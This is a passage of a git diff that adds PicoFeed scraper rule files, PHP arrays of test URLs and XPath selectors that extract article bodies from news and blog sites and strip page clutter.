diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.phoronix.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.phoronix.com.php
new file mode 100644
index 000000000..0d10eff28
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.phoronix.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.phoronix.com/scan.php?page=article&item=amazon_ec2_bare&num=1',
+ 'body' => array(
+ '//article[@class="KonaBody"]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.slate.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.slate.com.php
new file mode 100644
index 000000000..ad6f9c93c
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.slate.com.php
@@ -0,0 +1,16 @@
+<?php
+return array(
+ 'test_url' => 'http://www.slate.com/articles/business/moneybox/2013/08/microsoft_ceo_steve_ballmer_retires_a_firsthand_account_of_the_company_s.html',
+ 'body' => array(
+ '//div[@class="sl-art-body"]',
+ ),
+ 'strip' => array(
+ '//*[contains(@class, "social") or contains(@class, "comments") or contains(@class, "sl-article-floatin-tools") or contains(@class, "sl-art-pag")]',
+ '//*[@id="mys_slate_logged_in"]',
+ '//*[@id="sl_article_tools_myslate_bottom"]',
+ '//*[@id="mys_myslate"]',
+ '//*[@class="sl-viral-container"]',
+ '//*[@class="sl-art-creds-cntr"]',
+ '//*[@class="sl-art-ad-midflex"]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.theguardian.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.theguardian.com.php
new file mode 100644
index 000000000..6d8843de2
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.theguardian.com.php
@@ -0,0 +1,10 @@
+<?php
+return array(
+ 'test_url' => 'http://www.theguardian.com/law/2013/aug/31/microsoft-google-sue-us-fisa',
+ 'body' => array(
+ '//div[@id="article-wrapper"]',
+ ),
+ 'strip' => array(
+ '//*[contains(@class, "promo")]',
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wikipedia.org.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wikipedia.org.php
new file mode 100644
index 000000000..ea99ab66a
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wikipedia.org.php
@@ -0,0 +1,25 @@
+<?php
+return array(
+ 'test_url' => 'https://en.wikipedia.org/wiki/Grace_Hopper',
+ 'body' => array(
+ '//div[@id="bodyContent"]',
+ ),
+ 'strip' => array(
+ "//div[@id='toc']",
+ "//div[@id='catlinks']",
+ "//div[@id='jump-to-nav']",
+ "//div[@class='thumbcaption']//div[@class='magnify']",
+ "//table[@class='navbox']",
+ "//table[contains(@class, 'infobox')]",
+ "//div[@class='dablink']",
+ "//div[@id='contentSub']",
+ "//div[@id='siteSub']",
+ "//table[@id='persondata']",
+ "//table[contains(@class, 'metadata')]",
+ "//*[contains(@class, 'noprint')]",
+ "//*[contains(@class, 'printfooter')]",
+ "//*[contains(@class, 'editsection')]",
+ "//*[contains(@class, 'error')]",
+ "//span[@title='pronunciation:']",
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wired.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wired.com.php
new file mode 100644
index 000000000..6e25f2c2e
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wired.com.php
@@ -0,0 +1,19 @@
+<?php
+return array(
+ 'test_url' => 'http://www.wired.com/gamelife/2013/09/ouya-free-the-games/',
+ 'body' => array(
+ '//div[@class="entry"]',
+ ),
+ 'strip' => array(
+ '//script',
+ '//style',
+ '//*[@id="linker_widget"]',
+ '//*[contains(@class, "bio")]',
+ '//*[contains(@class, "entry-footer")]',
+ '//*[contains(@class, "mobify_backtotop_link")]',
+ '//*[contains(@class, "gallery-navigation")]',
+ '//*[contains(@class, "gallery-thumbnail")]',
+ '//img[contains(@src, "1x1")]',
+ '//a[contains(@href, "creativecommons")]',
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wsj.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wsj.com.php
new file mode 100644
index 000000000..113feb5fa
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wsj.com.php
@@ -0,0 +1,11 @@
+<?php
+return array(
+ 'test_url' => 'http://online.wsj.com/article/SB10001424127887324108204579023143974408428.html',
+ 'body' => array(
+ '//div[@class="articlePage"]',
+ ),
+ 'strip' => array(
+ '//*[@id="articleThumbnail_2"]',
+ '//*[@class="socialByline"]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/blog.fefe.de.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/blog.fefe.de.php
new file mode 100644
index 000000000..f5407595c
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/blog.fefe.de.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://blog.fefe.de/?ts=ad706a73',
+ 'body' => array(
+ '/html/body/ul'
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/consomac.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/consomac.fr.php
new file mode 100644
index 000000000..99a358fe3
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/consomac.fr.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://consomac.fr/news-2430-l-iphone-6-toujours-un-secret-bien-garde.html',
+ 'body' => array(
+ '//div[contains(@id, "newscontent")]',
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/distrowatch.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/distrowatch.com.php
new file mode 100644
index 000000000..39837cc5b
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/distrowatch.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://distrowatch.com/?newsid=08355',
+ 'body' => array(
+ '//td[@class="NewsText"][1]',
+ ),
+ 'strip' => array(
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/dozodomo.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/dozodomo.com.php
new file mode 100644
index 000000000..7ef573769
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/dozodomo.com.php
@@ -0,0 +1,11 @@
+<?php
+return array(
+ 'test_url' => 'http://dozodomo.com/bento/2014/03/04/lart-des-maki-de-takayo-kiyota/',
+ 'body' => array(
+ '//div[@class="joke"]',
+ '//div[@class="story-cover"]',
+ '//div[@class="story-content"]',
+ ),
+ 'strip' => array(
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcodesign.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcodesign.com.php
new file mode 100644
index 000000000..58cb9df23
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcodesign.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.fastcodesign.com/3026548/exposure/peek-inside-the-worlds-forbidden-subway-tunnels',
+ 'body' => array(
+ '//article[contains(@class, "body prose")]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcoexist.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcoexist.com.php
new file mode 100644
index 000000000..9d31b0ab7
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcoexist.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.fastcoexist.com/3026114/take-a-seat-on-this-gates-funded-future-toilet-that-will-change-how-we-think-about-poop',
+ 'body' => array(
+ '//article[contains(@class, "body prose")]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcompany.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcompany.com.php
new file mode 100644
index 000000000..3bce2aa5b
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcompany.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.fastcompany.com/3026712/fast-feed/elon-musk-an-apple-tesla-merger-is-very-unlikely',
+ 'body' => array(
+ '//article[contains(@class, "body prose")]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/ffworld.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/ffworld.com.php
new file mode 100644
index 000000000..ba5db5721
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/ffworld.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.ffworld.com/?rub=news&page=voir&id=2709',
+ 'body' => array(
+ '//div[@class="news_body"]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/github.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/github.com.php
new file mode 100644
index 000000000..9ddd0301c
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/github.com.php
@@ -0,0 +1,10 @@
+<?php
+return array(
+ 'test_url' => 'https://github.com/audreyr/favicon-cheat-sheet',
+ 'body' => array(
+ '//article[contains(@class, "entry-content")]',
+ ),
+ 'strip' => array(
+ '//h1'
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/golem.de.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/golem.de.php
new file mode 100644
index 000000000..1a45fa62f
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/golem.de.php
@@ -0,0 +1,8 @@
+<?php
+return array(
+ 'test_url' => 'http://www.golem.de/news/breko-telekom-verzoegert-gezielt-den-vectoring-ausbau-1311-102974.html',
+ 'body' => array(
+ '//header[@class="cluster-header"]',
+ '//div[@class="formatted"]'
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/heise.de.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/heise.de.php
new file mode 100644
index 000000000..fa1d548cf
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/heise.de.php
@@ -0,0 +1,7 @@
+<?php
+return array(
+ 'test_url' => 'http://www.heise.de/security/meldung/BND-300-Millionen-Euro-fuer-Fruehwarnsystem-gegen-Cyber-Attacken-2192237.html',
+ 'body' => array(
+ '//div[@class="meldung_wrapper"]'
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/huffingtonpost.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/huffingtonpost.com.php
new file mode 100644
index 000000000..18ad4659f
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/huffingtonpost.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.huffingtonpost.com/2014/02/20/centscere-social-media-syracuse_n_4823848.html',
+ 'body' => array(
+ '//article[@class="content")]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/ing.dk.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/ing.dk.php
new file mode 100644
index 000000000..c4a80be74
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/ing.dk.php
@@ -0,0 +1,8 @@
+<?php
+return array(
+ 'test_url' => 'http://ing.dk/artikel/smart-husisolering-og-styring-skal-mindske-japans-energikrise-164517',
+ 'body' => array(
+ '//section[contains(@class, "teaser")]',
+ '//section[contains(@class, "body")]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/journaldugeek.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/journaldugeek.com.php
new file mode 100644
index 000000000..72de69135
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/journaldugeek.com.php
@@ -0,0 +1,10 @@
+<?php
+return array(
+ 'test_url' => 'http://www./2014/05/20/le-playstation-now-arrive-en-beta-fermee-aux-etats-unis/',
+ 'body' => array(
+ '//div[@class="post-content"]',
+ ),
+ 'strip' => array(
+ '//style'
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/kanpai.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/kanpai.fr.php
new file mode 100644
index 000000000..5a1305311
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/kanpai.fr.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.kanpai.fr/japon/comment-donner-lheure-en-japonais.html',
+ 'body' => array(
+ '//div[@class="single-left"]',
+ ),
+ 'strip' => array(
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/karriere.jobfinder.dk.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/karriere.jobfinder.dk.php
new file mode 100644
index 000000000..2ffafd6e2
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/karriere.jobfinder.dk.php
@@ -0,0 +1,8 @@
+<?php
+return array(
+ 'test_url' => 'http://karriere.jobfinder.dk/artikel/dansk-professor-skal-lede-smart-grid-forskning-20-millioner-dollars-763',
+ 'body' => array(
+ '//section[contains(@class, "teaser")]',
+ '//section[contains(@class, "body")]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lejapon.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lejapon.fr.php
new file mode 100644
index 000000000..8066c3d80
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lejapon.fr.php
@@ -0,0 +1,14 @@
+<?php
+return array(
+ 'test_url' => 'http://lejapon.fr/guide-voyage-japon/5223/tokyo-sous-la-neige.htm',
+ 'body' => array(
+ '//div[@class="entry"]'
+ ),
+ 'strip' => array(
+ '//script',
+ '//*[contains(@class, "addthis_toolbox")]',
+ '//*[contains(@class, "addthis_default_style")]',
+ '//*[@class="navigation small"]',
+ '//*[@id="related"]',
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lesjoiesducode.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lesjoiesducode.fr.php
new file mode 100644
index 000000000..3ade94b94
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lesjoiesducode.fr.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://lesjoiesducode.fr/post/75576211207/quand-lappli-ne-fonctionne-plus-sans-aucune-raison',
+ 'body' => array(
+ '//div[@class="post"]//img',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lifehacker.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lifehacker.com.php
new file mode 100644
index 000000000..9b2299508
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lifehacker.com.php
@@ -0,0 +1,14 @@
+<?php
+return array(
+ 'test_url' => 'http://lifehacker.com/bring-water-bottle-caps-into-concerts-to-protect-your-d-1269334973',
+ 'body' => array(
+ '//div[contains(@class, "row")/img',
+ '//div[contains(@class, "content-column")]',
+ ),
+ 'strip' => array(
+ '//*[contains(@class, "meta")]',
+ '//span[contains(@class, "icon")]',
+ '//h1',
+ '//aside',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lists.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lists.php
new file mode 100644
index 000000000..fb9c8d027
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/lists.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://lists.freebsd.org/pipermail/freebsd-announce/2013-September/001504.html',
+ 'body' => array(
+ '//pre',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/macg.co.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/macg.co.php
new file mode 100644
index 000000000..ae5454086
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/macg.co.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.macg.co//logiciels/2014/05/feedly-sameliore-un-petit-peu-sur-mac-82205',
+ 'body' => array(
+ '//div[contains(@class, "field-name-body")]'
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/medium.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/medium.com.php
new file mode 100644
index 000000000..79ed5bcfe
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/medium.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'https://medium.com/lessons-learned/917b8b63ae3e',
+ 'body' => array(
+ '//div[contains(@class, "post-field body")]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/monwindowsphone.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/monwindowsphone.com.php
new file mode 100644
index 000000000..be7f208a3
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/monwindowsphone.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.monwindowsphone.com/tout-savoir-sur-le-centre-d-action-de-windows-phone-8-1-t40574.html',
+ 'body' => array(
+ '//div[@class="postmessage"]'
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/pastebin.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/pastebin.com.php
new file mode 100644
index 000000000..9a576f7bf
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/pastebin.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://pastebin.com/ed1pP9Ak',
+ 'body' => array(
+ '//div[@class="text"]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/plus.google.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/plus.google.com.php
new file mode 100644
index 000000000..d18e1db1f
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/plus.google.com.php
@@ -0,0 +1,7 @@
+<?php
+return array(
+ 'test_url' => 'https://plus.google.com/+LarryPage/posts/Lh8SKC6sED1',
+ 'body' => array(
+ '//div[@role="article"]/div[contains(@class, "eE")]',
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/rue89.feedsportal.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/rue89.feedsportal.com.php
new file mode 100644
index 000000000..bf3c8d823
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/rue89.feedsportal.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://rue89.feedsportal.com/c/33822/f/608948/s/30999fa0/sc/24/l/0L0Srue890N0C20A130C0A80C30A0Cfaisait0Eboris0Eboillon0Eex0Esarko0Eboy0E350A0E0A0A0A0Eeuros0Egare0Enord0E245315/story01.htm',
+ 'body' => array(
+ '//*[@id="article"]/div[contains(@class, "content")]',
+ ),
+ 'strip' => array(
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/smallhousebliss.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/smallhousebliss.com.php
new file mode 100644
index 000000000..395cadd8c
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/smallhousebliss.com.php
@@ -0,0 +1,17 @@
+<?php
+return array(
+ 'test_url' => 'http://smallhousebliss.com/2013/08/29/house-g-by-lode-architecture/',
+ 'body' => array(
+ '//div[@class="post-content"]',
+ ),
+ 'strip' => array(
+ '//style',
+ '//script',
+ '//*[contains(@class, "gallery")]',
+ '//*[contains(@class, "share")]',
+ '//*[contains(@class, "wpcnt")]',
+ '//*[contains(@class, "meta")]',
+ '//*[contains(@class, "postitle")]',
+ '//*[@id="nav-below"]',
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/spiegel.de.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/spiegel.de.php
new file mode 100644
index 000000000..3fb231615
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/spiegel.de.php
@@ -0,0 +1,7 @@
+<?php
+return array(
+ 'test_url' => 'http://www.spiegel.de/politik/ausland/afrika-angola-geht-gegen-islam-vor-und-schliesst-moscheen-a-935788.html',
+ 'body' => array(
+ '//h2[contains(@class, "article-section")]'
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/techcrunch.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/techcrunch.com.php
new file mode 100644
index 000000000..7f1a87022
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/techcrunch.com.php
@@ -0,0 +1,13 @@
+<?php
+return array(
+ 'test_url' => 'http://techcrunch.com/2013/08/31/indias-visa-maze/',
+ 'body' => array(
+ '//div[contains(@class, "media-container")]',
+ '//div[@class="body-copy"]',
+ ),
+ 'strip' => array(
+ '//script',
+ '//style',
+ '//*[contains(@class, "module-crunchbase")]'
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/treehugger.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/treehugger.com.php
new file mode 100644
index 000000000..7fbbb0c5d
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/treehugger.com.php
@@ -0,0 +1,10 @@
+<?php
+return array(
+ 'test_url' => 'http://www.treehugger.com/uncategorized/top-ten-posts-week-bunnies-2.html',
+ 'body' => array(
+ '//div[contains(@class, "promo-image")]',
+ '//div[contains(@id, "entry-body")]',
+ ),
+ 'strip' => array(
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/version2.dk.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/version2.dk.php
new file mode 100644
index 000000000..ce57beb64
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/version2.dk.php
@@ -0,0 +1,8 @@
+<?php
+return array(
+ 'test_url' => 'http://www.version2.dk/artikel/surface-pro-2-fungerer-bedre-til-arbejde-end-fornoejelse-55195',
+ 'body' => array(
+ '//section[contains(@class, "teaser")]',
+ '//section[contains(@class, "body")]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bbc.co.uk.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bbc.co.uk.php
new file mode 100644
index 000000000..3dfa2ea4a
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bbc.co.uk.php
@@ -0,0 +1,22 @@
+<?php
+return array(
+ 'test_url' => 'http://www.bbc.co.uk/news/world-middle-east-23911833',
+ 'body' => array(
+ '//div[@class="story-body"]',
+ '//div[@class="indPost"]'
+ ),
+ 'strip' => array(
+ '//script',
+ '//form',
+ '//style',
+ '//*[@class="warning"]',
+ '//*[@class="story-date"]',
+ '//*[@class="story-header"]',
+ '//*[@class="story-related"]',
+ '//*[contains(@class, "byline")]',
+ '//*[contains(@class, "story-feature")]',
+ '//*[@id="video-carousel-container"]',
+ '//*[@id="also-related-links"]',
+ '//*[contains(@class, "share") or contains(@class, "hidden") or contains(@class, "hyper")]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bdgest.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bdgest.com.php
new file mode 100644
index 000000000..528ad41d3
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bdgest.com.php
@@ -0,0 +1,11 @@
+<?php
+return array(
+ 'test_url' => 'http://www.bdgest.com/chronique-6027-BD-Adrastee-Tome-2.html',
+ 'body' => array(
+ '//*[contains(@class, "chronique")]',
+ ),
+ 'strip' => array(
+ '//*[contains(@class, "post-review")]',
+ '//*[contains(@class, "footer-review")]',
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.businessweek.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.businessweek.com.php
new file mode 100644
index 000000000..1ac90a3e6
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.businessweek.com.php
@@ -0,0 +1,11 @@
+<?php
+return array(
+ 'test_url' => 'http://www.businessweek.com/articles/2013-09-18/elon-musks-hyperloop-will-work-says-some-very-smart-software',
+ 'body' => array(
+ '//div[@id="lead_graphic"]',
+ '//div[@id="article_body"]',
+ ),
+ 'strip' => array(
+ '//*[contains(@class, "related_item")]',
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.cnn.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.cnn.com.php
new file mode 100644
index 000000000..472832f8e
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.cnn.com.php
@@ -0,0 +1,22 @@
+<?php
+return array(
+ 'test_url' => 'http://www.cnn.com/2013/08/31/world/meast/syria-civil-war/index.html?hpt=hp_t1',
+ 'body' => array(
+ '//div[@class="cnn_strycntntlft"]',
+ ),
+ 'strip' => array(
+ '//script',
+ '//style',
+ '//div[@class="cnn_stryshrwdgtbtm"]',
+ '//div[@class="cnn_strybtmcntnt"]',
+ '//div[@class="cnn_strylftcntnt"]',
+ '//div[contains(@class, "cnnGalleryContainer")]',
+ '//div[contains(@class, "cnn_strylftcexpbx")]',
+ '//div[contains(@class, "articleGalleryNavContainer")]',
+ '//div[contains(@class, "cnnArticleGalleryCaptionControl")]',
+ '//div[contains(@class, "cnnArticleGalleryNavPrevNextDisabled")]',
+ '//div[contains(@class, "cnnArticleGalleryNavPrevNext")]',
+ '//div[contains(@class, "cnn_html_media_title_new")]',
+ '//div[contains(@id, "disqus")]',
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.egscomics.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.egscomics.com.php
new file mode 100644
index 000000000..9c9b73ff0
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.egscomics.com.php
@@ -0,0 +1,8 @@
+<?php
+return array(
+ 'test_url' => 'http://www.egscomics.com/index.php?id=1690',
+ 'title' => '/html/head/title',
+ 'body' => array(
+ '//img[@id="comic"]'
+ )
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.forbes.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.forbes.com.php
new file mode 100644
index 000000000..0eff7a736
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.forbes.com.php
@@ -0,0 +1,16 @@
+<?php
+return array(
+ 'test_url' => 'http://www.forbes.com/sites/andygreenberg/2013/09/05/follow-the-bitcoins-how-we-got-busted-buying-drugs-on-silk-roads-black-market/',
+ 'body' => array(
+ '//div[@id="leftRail"]/div[contains(@class, body)]',
+ ),
+ 'strip' => array(
+ '//aside',
+ '//div[contains(@class, "entity_block")]',
+ '//div[contains(@class, "vestpocket") and not contains(@class, "body")]',
+ '//div[contains(@style, "display")]',
+ '//div[contains(@id, "comment")]',
+ '//div[contains(@class, "widget")]',
+ '//div[contains(@class, "pagination")]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.futura-sciences.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.futura-sciences.com.php
new file mode 100644
index 000000000..73d5744ec
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.futura-sciences.com.php
@@ -0,0 +1,15 @@
+<?php
+return array(
+ 'test_url' => 'http://www.futura-sciences.com/magazines/espace/infos/actu/d/astronautique-curiosity-franchi-succes-dune-dingo-gap-52289/#xtor=RSS-8',
+ 'body' => array(
+ '//div[contains(@class, "content fiche-")]',
+ ),
+ 'strip' => array(
+ '//h1',
+ '//*[contains(@class, "content-date")]',
+ '//*[contains(@class, "diaporama")]',
+ '//*[contains(@class, "slider")]',
+ '//*[contains(@class, "cartouche")]',
+ '//*[contains(@class, "noprint")]',
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lemonde.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lemonde.fr.php
new file mode 100644
index 000000000..ce2a95018
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lemonde.fr.php
@@ -0,0 +1,9 @@
